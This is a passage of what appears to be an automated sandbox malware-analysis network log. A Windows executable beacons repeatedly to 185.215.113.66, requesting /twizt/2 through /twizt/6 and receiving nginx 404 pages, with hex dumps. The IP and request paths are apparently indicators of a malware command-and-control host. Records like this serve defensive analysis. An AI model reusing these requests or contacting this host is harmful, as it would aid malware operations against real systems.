Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49749	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:09.943286896 CEST	8080	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:10.000436068 CEST	8081	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:09 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:11.016294003 CEST	8081	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:11.073949099 CEST	8082	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:11 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:12.079431057 CEST	8082	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:12.146450043 CEST	8083	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:12 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:13.172950029 CEST	8084	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:13.230401039 CEST	8084	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:13 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:14.236479044 CEST	8091	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:14.294698954 CEST	8092	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:14 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49751	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:17.524123907 CEST	8093	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:17.579788923 CEST	8094	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:17 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:18.595746040 CEST	8094	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:18.651587009 CEST	8095	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:18 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:19.659490108 CEST	12476	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:19.715336084 CEST	12883	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:19 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:20.750405073 CEST	15131	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
